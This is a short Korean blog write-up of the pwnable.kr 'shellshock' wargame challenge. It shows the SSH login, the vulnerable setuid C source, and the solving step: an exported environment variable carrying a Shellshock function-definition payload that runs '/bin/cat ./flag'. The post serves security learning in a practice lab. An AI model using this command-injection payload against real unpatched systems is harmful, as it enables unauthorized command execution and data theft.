[pwnable.kr] Toddler's Bottle - shellshock 문제
Posted by bonggang | 2020. 6. 1. 20:35
문제
문제 풀이
0. ssh 접속
ssh shellshock@pwnable.kr -p2222
1. 파일 확인 및 소스코드 확인
- 파일목록
- 소스코드
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
쉘쇼크 소스코드다. 시스템 함수로 bash를 실행시킨다.
2. 환경변수 설정
shellshock 공격인걸 알고있으니 환경변수를 설정해줬다.
export attack='() { echo attack; }; /bin/cat ./flag
-> 쉘쇼크에 대한 개념을 잡지못했다면 아래 블로그 글을 읽어봤으면 좋겠다.
https://operatingsystems.tistory.com/entry/Shellshock-CVE20146271
정답
참고 자료
'Security > System' 카테고리의 다른 글
Shell Shock (0) | 2020.05.29 |
---|---|
버퍼 오버플로우(Buffer OverFlow) (0) | 2020.03.13 |
[pwnable.kr] Toddler's Bottle - cmd2 문제 (0) | 2019.11.28 |
[pwnable.kr] Toddler's Bottle - cmd1 문제 (1) | 2019.11.28 |
[pwnable.kr] Toddler's Bottle - random 문제 (0) | 2019.10.02 |
[pwnable.kr] Toddler's Bottle - flag 문제 (0) | 2019.09.11 |
[pwnable.kr] Toddler's Bottle - bof 문제 (0) | 2019.09.10 |
[pwnable.kr] Toddler's Bottle - collision 문제 (0) | 2019.09.10 |